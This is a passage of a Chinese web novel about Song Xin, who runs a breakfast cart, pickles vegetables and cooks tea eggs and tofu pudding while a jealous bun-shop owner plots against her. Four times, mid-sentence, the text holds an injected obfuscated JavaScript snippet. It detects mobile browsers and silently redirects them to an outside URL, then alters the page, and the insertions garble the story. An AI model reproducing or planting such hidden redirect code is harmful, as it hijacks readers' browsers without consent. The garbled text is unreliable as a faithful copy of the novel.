可这几天，包子店老板在自家店门口眼睁睁地看着餐车前面的队伍排到拐弯，自家店门口空无一人，就算有人想来买也会被同伴拉走。 “去前面东门小餐车那里吃啊，别看老板年纪小，做的可好吃了。”这句话包子店老板听的清清楚楚，他隐隐约约还听到那个同伴接着说道：“别吃这家包子，跟小老板的手艺比差远了。” 后面还有句话包子店老板没有听清，“这家店的包子都是剩了不知道多久的，味道也差劲，你都不知道我前天赶时间买了俩包子，拉肚子拉了一天！” 两个人说这话走远，上宋鑫的餐车排队去了。 包子店老板的仇恨再次+1 今天早上包子店老板又在门口看着宋鑫餐车前面人来人往，他开始幻想要是宋鑫的顾客都来自己店里该有多好。 他在店里走来走去，开始想办法。 其实宋鑫卖的东西和他根本不重样，最多就是都卖早餐，可是宋鑫一个人也吃不下周围那么大的市场。 这边的早餐店也不少，周围都是学校，对于早餐的需求也大，如果包子店老板好好做生意，不搞乱七八糟的，生意也不至于一天比一天差。 他家包子店用的材料也一天比一天差。 而且这几天宋鑫的餐车在这附近出名之后，周围的店铺客流量也比平时大了，排不上队的，来晚了宋鑫已经卖完的，全都是在附近解决自己的早餐。 宋鑫还不知道已经有人准备对付她了，吃饱喝足之后她正准备去菜市场多买点萝卜。 家里的厨房的使用权现在已经全权归她了，除此之外，还把一个杂物间腾了出来，专门给她放东西。 这段时间她腌了酱菜，只是回来的时间太短，前段时间又一直在做元宵，现在也只有辣白菜和腌雪里蕻两种。 之前还有糖醋萝卜片，今天早上全部被吃光了，冰箱里也只有最后一点点。 她今天下午准备多买点萝卜用来腌制，现在天气比较冷，杂物间的暖气也不打开，不用担心保存问题。 至于之后，宋鑫还是有一点想法的，她想开一家饭店，而且是属于她自己的饭店，房子也是自己的，这样干着也放心，不用担心涨租之类的问题。 这段时间干下来，她自己觉得很开心，把自己做好的食物卖出去也很有成就感，以前中小学的时候虽然也有在学校里摆摊的经历，但是感触没有这么深。 可能是当时没有现在这么爱钱？ 宋鑫每天晚上盘账，看到自己的存款不断上涨，第二天早起的动力马上就来了。 这还是及时反馈，没有一点拖延的那种。 菜市场是一家三口一起来的，用宋志明的话来讲就是：“早上爸爸妈妈不能帮你，这个时间还是可以帮你拿一拿东西帮帮忙。” 宋鑫到了菜市场直接在熟悉的摊位那里先买了一麻袋一百斤的白萝卜，一半做糖醋萝卜片，还有一半用来做五香萝卜干和酸甜萝卜干。 摊位老板就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583631|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是之前和宋鑫添加了联系方式的那一位，后来宋鑫才知道她姓王，都是喊她王姐，王姐的菜品质都挺不错的，宋鑫已经决定以后如果量大了，可以直接找王姐订菜。 想想五香萝卜干炒肉的味道，宋鑫忍不住咽了下口水，晒到柔韧的萝卜干拌上五香粉，油锅烧热，直接把切好的萝卜干放进去，那个味道已经可以吃一碗米饭了。 再把提前炒好的肉丝倒进去，和萝卜干一起翻炒，那个滋味，真是让人怀念。 宋鑫自己越想越馋，就和宋志明李云华说起来，宋志明和李云华听了之后一脸的怨念。 那个表情就是爸爸妈妈陪你来买菜，你就这样馋人。 后来腌好的五香萝卜干晾晒的时候，宋志明和李云华一天要看八百遍。 其实宋鑫本来还想做点酱黄瓜来着，可是黄瓜的价格太高，用来当小菜的话成本划不来，还是萝卜吧，萝卜好啊，物美价廉。 看了看其他的菜，宋鑫忍住自己购买的欲望，明天要去姥姥那里，不在家里吃饭，李谈还念念不忘八宝瓤苹果呢。 买几个苹果吧，那边的苹果品质不错。 欸，这边的这个黄豆质量很好啊。 宋鑫走到了水果摊的隔壁，这是个干货店品质意外的不错，而且黄豆大小长相都很标准，要不买点，回去也能做个黄豆酱菜。 宋鑫舍不得这么好的黄豆，问了价格之后也很合理，果断拿下二十斤黄豆，还加了老板的联系方式，债多了不愁，无非就是再多买几个坛子的事情嘛。 反正杂物间的结实货架都准备好了。 宋鑫已经规划好了，下面就放大点的坛子，依次向上，由大到小的放各种瓶瓶罐罐。 虽然现在还是很空，不过没关系，宋鑫有自信自己可以填满它！ 回到家就准备泡黄豆，先留下两斤以后打豆浆，剩下的全部泡上，接着来处理萝卜，该切片的切片，该切条的切条。 一家人一起干起来。 萝卜全部处理好，吃过晚饭宋鑫把黄豆分批次放进高压锅里压熟。 她下午买完黄豆准备做黄豆酱菜，还买了一点小米椒，一包不太辣的红辣椒。 把所有的辣椒清洗干净，和准备好的姜蒜一起搅碎。 锅里要多放一点油，先把辣椒碎放进去炸，辣椒的香味慢慢飘出来就可以把黄豆放进去了，这次也是专门用的大锅，就这还要分几锅才能炸完。 小火慢炸，不停地搅拌，这个活被宋志明接过去了，宋鑫就在一边观察锅里的状态，水分快炒干的时候把调料放进去继续翻炒。 宋志明站在锅的前面，直面香味冲击，忍不住深吸一口气，就这个味道，他等会儿还可以再吃三个馒头！ 完全炒干之后这个黄豆酱菜就好了，等放凉就可以装罐保存。 没等宋志明大开吃戒，宋鑫就要炒第二锅了。 全部炒完，宋志明只觉得自己现在真的可以吃下三个馒头，之前是吹牛。 27.五香茶叶蛋 从冰箱里拿出之前买的馒头热了一下，宋志明一口气热了六个馒头，这种馒头不实在，是那种很蓬松的，一捏就会变成小小一个的馒头。 热好之后，宋志明直接掰开一个馒头，把黄豆酱菜夹在里面，那个香味绝了，接着一口塞进嘴里。 “好吃！”宋志明嚼嚼嚼三口吃完了一个馒头，熬酱菜真是个体力活，他吃完还给李云华分享，“老婆你就这样吃，掰开夹里面，这样好吃。” 李云华按照他的方法做了，宋志明美滋滋又夹了一个馒头，坐在李云华旁边和她一起吃。 宋鑫不想吃狗粮，自己拿了个馒头裹上蛋液，煎成馒头片，上面放上黄豆酱菜，超级美味的夜宵就做好了。 * 中午才去李姥姥那里，上午宋鑫在家里盘账。 宋志明和李云华则去买一些老年人用的上的东西。 三人离开家的时候还不忘拿上几瓶昨天刚做好的黄豆酱菜，这个酱菜的辣度不高，老年人也能吃。 宋鑫想了想又拿了两瓶准备给李谈。 前段时间忙的时候李谈还试图来帮忙滚元宵，健康证都搬出来了，最后止步于他那糟糕的手艺。 当时宋薏也想来凑热闹，无奈开学太早，高三生没有放假的权利。 宋薏还和宋鑫抱怨：“老师总说上了大学就解放了，你看嘉姐，一点儿也没有解放，现在都快忙疯了。” 宋鑫想想当年赵老师也是这么和她说的，结果根本不是！！！上了大学之后还是要努力学习的，尤其是周围一群卷王。 宋鑫表示自己现在要在舒适区内生活了，拒绝内卷，从自己做起。 想是这样想，说是不能这样和小妹妹说的，要给人一点希望，可是宋鑫想破脑袋也不知道怎么安慰她，只能想办法给她一点动力。 宋鑫摸着她的脑袋：“以后的轻松与否我们都说不好，你看我现在，一年前我都没有想到我现在过的是这样的生活，人生还长，你现在只是刚开始。” “老师让你们好好学习是没有错的，说以后会轻松也只是给你们一个动力，既然你不满意这个动力，我们就找一个新的短暂的动力好不好。” “你不是有好多想尝试的新菜吗，好好学习，接下来的考试有进步你就可以提新菜，我给你做，怎么样，不过不能提太多哦。” 宋鑫慢慢的和宋薏说着，温暖的午后，宋薏笑起来：“那你可不能反悔，我会很努力的，我有可多想吃的了。” 宋鑫看到宋薏的样子也松了一口气，家有高三生，谁家有谁才懂这种感受，想到自己高三的时候宋志明和李云华也是这样照顾自己的，虽然没有好吃的饭，但是天天都会有十全大补汤，宋鑫也忍不住笑起来，真好！ 下午给宋薏也去送一瓶黄豆酱菜，再买点其他的东西，学习辛苦了。 就是宋嘉暂时是吃不上了，她没比宋薏好哪儿去，早早返校忙毕业论文的事情去了。 不说下午的宋薏是多么惊喜，就是现在，李谈看到这两瓶给他的黄豆酱菜，马上就放进车子里面了。 “嘿，我还能给你扣下啊。”李姥姥看到李谈放东西马上开口。 李谈嘿嘿傻笑不接话，李姥姥和李姥爷可是有前科的，这可是他妹专门带给他的，没白疼她，李谈给了宋鑫一个很欣慰的眼神。 宋鑫接收到之后觉得自己浑身的鸡皮疙瘩都要起来了，噫——年纪轻轻怎么一股子老年人的感觉，难道是当老师时间长了？ 可是赵老师这么大年纪也不这样啊，那就是李谈天赋异禀！ 中午宋鑫用昨天买的苹果做了李谈念念不忘的八宝瓤苹果，李谈一个人吃了两个。 吃完之后又用那种我家孩子长大会孝顺家长的眼神看宋鑫，宋鑫这次终于忍不住了，冲着他翻了个白眼。 结果他马上用一副孩子叛逆的眼神看她，宋鑫觉得自己要大逆不道给他打一顿了，可惜打不过！ 现在终于知道李女士的戏精本色传给谁了，小一辈的原来在李谈这里，侄子像姑。 下午宋鑫算着宋薏吃晚饭的时间到了宋薏学校，她提前和宋薏说过了，到的时候宋薏已经在门口等她了。 宋薏现在时间紧张，直接住在了学校宿舍，二姑宋月也忙，每天也接送不了她。 “哇，姐姐你给我带好多东西啊！”宋薏看着那满满一大包有些震撼，她虽然住校，可是家里经常送东西给她，也不会一次性拿这么多东西。 宋鑫带来的那一大包宋薏觉得够自己在学校吃半月。 宋鑫把手里的东西递给宋薏，“也还好，就是看着多，你现在是关键时候，而且在学校里想吃什么一下也吃不到，我就多给你带点。” 这就是宋鑫的经验之谈了，高三用脑多，饿的特别快，桌子里多放点吃的准没错。 “你也可以和你朋友分一分，大家一起吃。“宋鑫补充说道。 宋薏虽然也读高中，李谈教高中，但两人不在一个学校，距离还挺远。 宋薏乖乖点头答应，她看向袋子里，两个大袋子。 宋鑫指着其中一个袋子：“这个里面是饼干面包巧克力小蛋糕这些，小蛋糕需要尽快吃掉，其他的可以放一放。” 宋薏惊喜的发现小蛋糕是自己最喜欢的巧克力慕斯，“姐姐我爱你啊啊啊啊啊，我好喜欢这家的巧克力慕斯，就是太远了，谢谢姐姐~” 这家店确实远，宋鑫开车开了四十分钟才买到。 接着她又指着另外一个袋子：“这个里面是给你买的烤鸭，等会儿早点吃，冷了就不好吃了，还有一瓶我昨天做的黄豆酱菜，可以配馒头米饭面条，都挺好吃的。” 里面还有一些其他的零食就不用专门交代了。 宋薏感动的两眼泪汪汪，宋鑫都被她逗笑了，“行了快去吃饭吧，好好的，有事给我打电话。” 宋薏话也说不出直点头，对于宋薏来说宋鑫这个姐姐在心里的占比非常重， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586715|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以说宋鑫是三姐妹里的主心骨。 宋月平时工作忙，虽然也关心宋薏，但终究没有太多时间陪她，宋薏自己也不想让李姥姥李姥爷两个老人操心，至于宋薏亲爸那边，早就断绝来往了。 从小到大，宋薏好多事都是找宋鑫。 * 宋鑫没有直接回家，而是去了姐妹花豆制品批发店，这次在店里的是小吴阿姨，这两位阿姨辨认起来非常简单。 大吴阿姨喜欢穿黄色衣服，小吴阿姨喜欢蓝色，后来发现大家都凭借衣服颜色来分辨她们两个，她们就固定了穿衣风格。 小吴阿姨也认识宋鑫，看到她进来先笑了：“这次要什么啊，现在剩的不多了，只有这几块豆腐，还有这边的干货了。” 宋鑫摇摇头：“我现在不要，我想问一下，咱们这里可以订豆腐脑吗？” 小吴阿姨很爽快：“你要是只要三两碗那没有，也不能单独拿出来一点不是，要的多可以。” 宋鑫点点头指着旁边的两个大汤桶说道：“我要两桶。” 接着又问道：“汤桶可以用完给你送来吧。” “可以，没问题。” 宋鑫明天出摊准备做豆腐脑，但是家里没有这么大的汤桶，她也没准备天天做一种东西，这样也锻炼不了厨艺。 她还想着开饭店呢，每天早餐都一样，再好吃也会吃腻的，不如每天换点花样，既能有更多的食客，也能在现有条件下最大限度的精进自己的厨艺。 既然豆腐脑订好了，宋鑫就要去买新鲜鸡肉了，她本来只准备做一种卤汁的，后来突然想到上大学的时候吃过一个老奶奶做的鸡汁豆腐脑，那个味道真是，想起来就让人忍不住。 直接买了两只鸡炖汤，炖好的鸡肉撕成细丝放进冰箱。 还买了很多鸡蛋，宋鑫现在已经成了鸡蛋大户，超市负责鸡蛋的售货员看到她都笑意盈盈。 虽然要换花样，但是特别简单的那种也是可以固定一下的，比如茶叶蛋和水煮蛋。 这两种利润不低，尤其是茶叶蛋，买的人还多，是个标准的盈利产品，可以很好的为她的饭店添砖加瓦。 鸡蛋先煮上，冷水下锅大火煮开，接着在锅里焖一会儿。 调料和香料都准备好，茶叶蛋最好用红茶，宋鑫第一次煮茶叶蛋，没有准备太多，一百个鸡蛋用到的茶叶也不多，她自己就有，明天如果卖的好就再去买新茶叶。 在大锅里把调料和香料先煮开，转小火的时候再放入茶叶，这个时候慢慢就能闻到茶叶和卤料的香味了。 宋鑫闻了闻味道，没有问题，就开始敲鸡蛋了，一个鸡蛋敲起来很好玩，十个还会觉得有意思，一百个鸡蛋敲下来宋鑫已经麻木了。 但是不敲均匀鸡蛋又不入味不好吃。 她把敲好的鸡蛋放进调料锅里重新开始煮，小火焖一会儿。 接着就是放到锅里浸泡，要泡一个晚上，等到明天早上的茶叶蛋才入味好吃。 28.鸡汁豆腐脑 周一宋鑫起的特别早，虽然今天早上不用买菜，可是豆腐脑的标配油条需要的准备时间比较长，宋鑫先把面活好醒上，又把木耳和黄花菜泡上。 和面的时候她想着炸的酥酥脆脆的油条，轻轻掰开还能听到一点声音，往豆腐脑里一泡，喜欢吃软的可以多泡一会儿，喜欢酥脆口感的可以把油条泡一下就夹出来。 要在豆腐脑里加入多多的榨菜丁，豆腐脑和榨菜丁融合在一起。，当然这是宋鑫的口味，她有一个同学，以前一起吃饭的时候死活不吃榨菜，认为榨菜是可以摄取灵魂的怪物。 宋鑫忍不住拿了一个正在加热的茶叶蛋吃了，暂时没有豆腐脑可以吃，吃个替代品也不错，现在厨房里都是茶叶蛋的香味。 满满一大锅的茶叶蛋看起来还有点壮观。 茶叶蛋的定价宋鑫考虑了很久，因为茶叶蛋的价格多少的都有，低至一块，甚至有的地方新店开业还有五毛一个的。 高的就很离谱了，离谱到宋鑫怀疑自己要是买了都舍不得吃，得放在冰箱冻起来，时不时瞻仰一下这个高价茶叶蛋。 谁能理解她有一次误入一家平平无奇的饭店，看到有茶叶蛋，正想让老板给她拿一个的时候，看到了墙上贴着的价格单。 一个茶叶蛋售价三十块！！！ 宋鑫后退，宋鑫放弃，宋鑫落荒而逃。 其实墙上也贴了，说是用的土鸡蛋，店家也实在，也不强买强卖，主打一个愿者上钩。 最后宋鑫还是决定一个茶叶蛋两块五，一个水煮蛋一块五。 再把油条面团揣一下，叠成长方形，接着放好再醒一个小时。 为了追求快速，木耳和黄花菜都是用温水泡发的，现在都泡好了。 她要开始做卤汁了，宋鑫做的卤汁是带有一点肉末的，炒好的肉末加入木耳碎和黄花菜，翻炒之后加入适量的水。 最后用水淀粉勾芡。 宋鑫没有往里面放榨菜，到时候摆在小料台那里，让顾客自行取用，还有葱花香菜辣椒油，全都摆在小料台。 有了萝卜片的经验，宋鑫这次把小料还有各色小菜准备的足足的。 糖醋萝卜片拿了两罐子，新的黄豆酱菜也拿了一大瓶，后面她还准备做点其他的小菜，类似糖醋小辣椒，辣椒酱，酸豆角之类的，可以做的多着呢，也可以给大家换换口味。 而且这些不仅可以当小菜，还可以用来炒粉炒饭，酸豆角炒饭，外加上一勺辣椒酱，即使是没有胃口的早上也可以吃一大碗。 还有芝麻油，等会儿不能忘记带了，餐车上的已经吃完了。 因为宋鑫拿出来的芝麻油，这几天孙姨的生意又变好了，有人在宋鑫这里尝过之后，觉得味道好，还专门找过去买。 虽然买的都不是很多，但孙姨家芝麻油的口碑就这样上去了。 把卤汁放好，宋鑫开始做鸡汤卤子，提前煮好的鸡汤，倒入炒好的鸡丝木耳丝里面，用大火烧开，最后转中火，用水淀粉勾芡，让鸡汤变得浓稠起来。 宋鑫一拍脑袋，差点忘了今天的菜单挂牌还没有发群里，一看群里果然有人在催了。 油条 茶叶蛋、水煮蛋 鸡汁豆腐脑、卤汁豆腐脑、甜豆腐脑 宋鑫发出去没多久，群里的消息就刷了起来，早起的人也不少嘛。 早上起来还没到起床时间，躺在暖和的被窝里水群确实是一件很快乐的事情。 【啊啊啊啊啊啊终于等到了甜豆腐脑，天知道我有多久没吃过甜豆腐脑了，天杀的宁市，歧视我们甜党，小宋老板我爱你。】 【虽然很不应该，但是甜豆腐脑就是异端好吧。】 【鸡汁豆腐脑哈哈哈哈哈，很久以前吃过一次就念念不忘，我爱鸡汁豆腐脑。】 【终于可以吃到现炸的大油条了吗，老天奶，我苦预制油条久矣。】 【预制的油条吃着就不是那个味儿，一点都不蓬，更不用说口感了，差劲！】 【我上次出差在酒店吃早餐，那家的油条也是预制的，特别难吃，从此避雷那家酒店。】 …… 【豆腐脑就要吃甜的！】 【谁家豆腐脑不吃咸的？】 【我吃辣的嘿嘿~】 【甜党必胜！】 【咸党才是大众。】 【让老板来评评理@花园东门小餐车小宋】 宋鑫看到手机震动，打开一看发现有人@她，发现群里已经从刚开始的和谐变成了现在的咸甜之争，中间还有个辣党在浑水摸鱼。 为了避免自己被拖下水，宋鑫果断关闭手机，她觉得不管什么口味，好吃的她都可以接受。 快到出摊的时间了，她把东西都拿上，开着自己的小餐车来到了小区东门老地方。 到了之后把其他东西都放好，宋鑫接着赶紧把油锅烧热，油条面团都被整理好了，分成了一个个小条，两两摞在一起。 油烧开了，趁着顾客还没有来，宋鑫先炸了起来。 她把摞在一起的两条面抻长，手法巧妙，抻好的油条轻轻落入油锅，一个接着一个。 宋鑫刚把这一锅的油条都放进去，就听到了王意的声音。 “你这手艺真不错，从摆摊开始，以后做大做强，你可以的！”王意还拉着一个行李箱，她刚刚回来，这次过年她把年假、调休假，能请的假全都请了。 成功拥有了一个超长寒假。 宋鑫都不用问就知道王意这个假期过得很好，只看她圆了一圈的脸就知道在家吃好喝好了。 随着王意的说话声，宋鑫手下动作不停给油条翻面。 “我还给你带了我家那边的特产，都在行李箱里，晚上给你。” “行啊，晚上你来我家吃饭，给你接风。” 两人你一句我一句，王意看时间还早，也不急着回家了，反而围着宋鑫的餐车转了起来，仔细观察了一把餐车的外形。 油条炸好了，宋鑫把还围着餐车转的王意喊了回来：“别转了，我给你拿点油条，打碗豆腐脑，再拿俩鸡蛋，你带回去吃吧。” 一边说着一边装了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593731|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“油条袋子不要系，刚炸好的不能闷着，会变软，你现在回去，还能睡会儿再去上班。” 王意转了回来，准备乖乖拿着早饭回去，吃完补个觉。 但是！这个油条真的好诱人，宋鑫还拿着装了豆腐脑的碗问她要什么卤子，有肉末的卤汁，有鸡汤做底的卤子，还可以吃甜的。 宋鑫专门把之前买的白糖桂花带来了，还有蜂蜜。 王意眼花缭乱，选了鸡汁豆腐脑，看着宋鑫盛了卤子就要给她盖盖打包，她连忙制止。 “不用打包，我在这里吃就行了。”说完还冲着宋鑫笑了起来。 这个大油条，她不能保证自己可以完整带回家，还有这个鸡汁豆腐脑，之前都在锅里，王意没有闻到味道。 在宋鑫打开锅之后，那个味道就传了出来，混合着油炸食品的香味，还有茶叶蛋锅里隐隐约约的茶叶香。 王意奔波的疲惫一下子涌了上来，空荡荡的胃也开始造反，明明之前因为半夜没睡一点也感觉不到饿。 她现在只想快点把眼前的美味吃进嘴里，用来安慰饥肠辘辘的自己。 什么回去补觉，不补了，这个觉什么时候不能睡，现在的她要吃饭！ 刚刚的参观果然有用，不用宋鑫提醒，王意直接来到了小料台，给自己的豆腐脑里加入海量辣椒，少量芝麻油。 辣椒吃了上火，芝麻油是去火的，一起吃就不会上火。 ——来自王意谬论。 她告诉宋鑫自己的这个理论，理所当然地看到了宋鑫无语的神色。 这个时间还很早，加上是周一，天色才微亮，餐车这边还没有来大量的顾客，只有零星几个路过的学生和上班族买一份早餐带走。 她们这边的豆腐脑大部分还是配卤汁，但也正是因为这个，宋鑫的鸡汁豆腐脑卖的更快一些，可能大家都想尝尝鲜。 “早啊~”宋鑫又听到了熟悉的声音，竟然是周若，她好几天都没有看到她了，只看到李翔，每次买饭也只是买一人份的。 宋鑫还以为她们两个闹矛盾了呢，不过她没有多问，不要过问别人不说的私事啦~ 让她没有想到的是，周若拿着一个袋子从餐车旁边递给她：“我前两天在你这里吃完饭之后，就会了一趟家，这是给你带的特产。” 宋鑫还没有说话，吃的正高兴的王意一下警惕起来，这带特产还会撞一起吗。 不等宋鑫说什么，周若已经把袋子放下了，宋鑫闻到了浓郁的海鲜味，就知道这个特产肯定不便宜，想了想，要不也邀请周若来家里吃饭。 不过周若和王意应该不熟，晚上已经提前约好了王意，要不改天？ 宋鑫正在组织语言，王意就过来了，手里还端着豆腐脑。 王意和周若虽然不认识，但同住一个小区那么久，又都是年轻人，还是有几分脸熟的。 “你也给鑫鑫带了特产啊。” 听到王意的话，周若就听明白了对方话语里的炫耀，这是在表示她和宋鑫更熟悉，大家都喊小宋老板，就她喊鑫鑫。 29.荔枝鱿鱼 宋鑫属于什么事情都会表现在脸上的那种人，一点事儿也藏不住，这也是她上班期间特别痛苦的一个重要原因。 刚刚周若送完特产，注意着这边的王意就发现了宋鑫的想法，她觉得没什么，也不是不认识，而且和不太熟悉的长辈一起吃饭，多个同龄人更自在一点。 但是！可以归可以，主次是要分清的。 她，王意，一定是花园小区里宋鑫最好的朋友！ 王意莫名燃了起来，看着她一瞬间进入了奇怪的战斗状态，宋鑫还没来得及说话，王意就先开口了。 “我和周女士之前就认识。”这话是和宋鑫说的。 宋鑫惊喜看向两人：“你们认识啊，这事情就好办啦，王意也给我带了特产，晚上我们一起在我家吃饭，你要是方便——” 话还没说完，周若的“方便”就脱口而出。 好吧，周若会给宋鑫带特产是想着让宋鑫吃人嘴软，以后早上万一来不及，可以让她留份早餐，她都听李翔说了，宋鑫的早餐生意可红火了 万万没有想到，没有等到以后，竟然马上就有饭可以吃，这个特产的投资回报也太快了。 周若马上答应下来，机不可失失不再来。 早餐都这么好吃，不知道饭菜得是什么滋味，好想一下穿越到傍晚啊，时间为什么不可以压缩解压呢。 白天工作的时间压缩一下，下班之后再解压，获得双倍休息时间。 实现一天二十四小时，八小时休息，两小时工作，十四小时属于自己。 畅想一番的周若拿了宋鑫打包好的早餐，在宋鑫的阻止下付了钱，“你不让我付钱我以后都不好意思来了，之后的时间还长着呢，一码归一码。” 她拿着自己的甜豆腐脑顶着王意看异端的眼神先离开了，请了几天假，今天要早点去单位，把最近的进度补上。 周若到了办公室，一边吃着自己的美味豆腐脑，这上面的甜桂花真是点睛之笔，和嫩滑的豆腐脑一起滑入嘴里，就是味蕾上的享受。 她吃的沉醉，吃的入迷忘我。 等反应过来已经把一碗甜豆腐脑吃完了。 吃着茶叶蛋，周若终于想起来还要和李翔说一声今天晚上自己不和他一起吃饭了，她要去吃美味的宋鑫大厨做的饭。 李翔知道之后异常羡慕，他也知道自己不能跟着去，太不合适了，只是一个劲的让她多拍点照片，吃不到看看也可以解馋啊。 对于宋鑫的手艺，她们两个的观点高度一致，别看俩人不会做饭，就是因为不会做，才在外面吃的多，吃得多了见识也涨了。 厨师的手艺好坏一顿饭也能吃个差不多出来。 宋鑫的做饭水准绝对不低。 周若吃着香香的茶叶蛋，想想晚上的香香饭，休息回来有些萎靡的状态都变精神了，今天白天的工作有盼头了。 她把茶叶蛋吃完，还有一根大油条，好久没有吃到新鲜又好吃的油条了！ 但是一碗豆腐脑一个茶叶蛋下肚，周若竟然觉得有点饱了，一定是豆腐脑的分量太大了，她犹豫片刻还是把油条掰开，先吃一小半，剩下的可以中午在食堂加热一下再吃。 想法是好的，现实却是悲惨的。 周若刚准备把袋子里的油条放到一边，就看到自己的领导进来了。 领导看到周若也在之后还有些吃惊：“这么早就过来啦。” 周若还在吃着，就没有说话，只是不好意思地点点头，周若领导是个四十多岁的女性，平时没事的时候也会和大家一起开玩笑。 领导凑过来，“这么香的油条味，在哪儿买的。”她边说边看向周若剩下的那大半根油条，“这油条炸的好啊，颜色也正宗，油也香，用的是好油。” 领导也苦预制油条久矣。 周若想想晚上还有大餐，就把剩下的油条分享给眼巴巴看着的领导了，“我是掰开的，还有这半根——” “谢谢你啊，等会儿给你拿小蛋糕吃，我今天带来的。”周若话音未落，领导直接接过她手里的油条打开吃了起来，边吃边比了个大拇指。 吃完还不忘记问她：“这个油条在哪儿买的，真挺好，现在这种油条可不好找了。“ * 王意吃完也把钱付了，看宋鑫不满意，人太多了宋鑫也没办法和王意说什么就看着王意离开了，走之前王意指了指手机。 卖完之后宋鑫打开手机一看，是王意发的消息：做生意就是要赚钱的，晚上吃饭我要吃大餐！ 包子店老板看着宋鑫又早早收摊离开，站在自家店铺门口急得团团转，宋鑫今天怎么又出来营业了，他不是去举报了吗？ 难道没有成功，还是有人包庇，就因为他是匿名举报的就不来检查吗？ 包子店老板很生气，他认为这是官商勾结！ 昨天他明明趁着下午去相关单位匿名举报了宋鑫在小区门口摆摊的事情，这一招他还是之前跟一个夜市老板学的。 夜市摆摊嘛，总有些证件不足，那个老板卖炒饭，隔壁卖炒粉，虽然有竞争，可夜市的人流量很大，根本不影响什么。 但是炒饭老板不觉得，他认为自己生意差的根本原因是隔壁在卖炒粉，要是隔壁卖其他的，就不会造成客人分流，他的生意一定爆火。 先不说他哪来的自信，就说每次他摊子上的客人有一半是排不上炒粉所以来买炒饭的，可能有的人心里总会把别人拥有的当成自己失去的吧，譬如这位炒饭老板，还有包子店老板。 炒饭老板眼看着炒粉老板的生意一天比一天好，一天挣得比一天多，在听到炒粉老板说攒够钱就去租一家店铺，以后可以做点安稳生意的时候，他终于按耐不住了。 反手一个举报。 关键是他还举报成功了，因为炒粉老板学历不高，也没有这方面的意识，后来生意做起来也没想着问一问别人。 交了罚款，补□□件，在这个期间炒粉老板还找到了是谁举报的她。 说实话，她有错她该罚她也认罚，但是举报她的是炒饭老板让她接受不了，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599389|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道炒饭老板的生意现在一大半都靠着她起来的，她还帮忙给他调整口味。 要是炒饭老板觉得她这样无证经营不好可以直接告诉他，偏偏在背后这样搞。 炒粉老板守株待兔，在等待证件期间就盯着炒饭老板，炒饭老板有酒瘾，她被举报的事情就是他喝醉了之后酒后吐真言说出来的。 而她等的，是另外一件事情，最近炒饭老板的生意见好，这种男人嘛，手里有点钱就管不住自己，看到炒饭老板进了酒店之后，炒粉老板一个电话给他举报了。 当然，包子店老板只知道这件事情的前半段，不知道后面发生的，他还以为是炒饭老板运气不好呢，这么寸，一进酒店就被抓住了。 可是宋鑫的证件都很齐全，包子店老板再举报也没有办法，他找人问过之后，在家吃过午饭又想出一个主意。 宋鑫的生意他是一定要破坏的，除了看着她每天生意比自己好太多心里难受之外，还有利益相关。 花园小区一年一度的才艺大比拼快开始了，花园小区的位置好，平时交的物业费也都用在了实处，作为一个老小区，小区不仅环境好，每年各种活动也特别多。 才艺大比拼期间是要提供早午两餐的，包子店老板就盯上了这个早餐的供应，奈何他打通了关系，在最后关头却被卡住了。 原来小区里一群老头老太太都推荐了宋鑫，包子店老板彻底坐不住了。 在包子店老板再次出击的时候，宋鑫正在家里处理周若给的干鱿鱼，周若拿来的干货里面还有干贝和海参，看着品相都不错，宋鑫已经放弃估价了。 还有王意的那一大箱羊肉。 宋鑫决定以后经常喊她俩来吃饭。 干贝和海参都来不及泡发，只有干鱿鱼用特殊手法处理的时间没那么长。 宋鑫回到家看到袋子里的东西之后，就决定要用这个干鱿鱼做一道雪花鱿鱼。 先把干鱿鱼用凉水泡上，一个小时之后再撕去外皮，宋鑫接着把鱿鱼用刀切成两半。 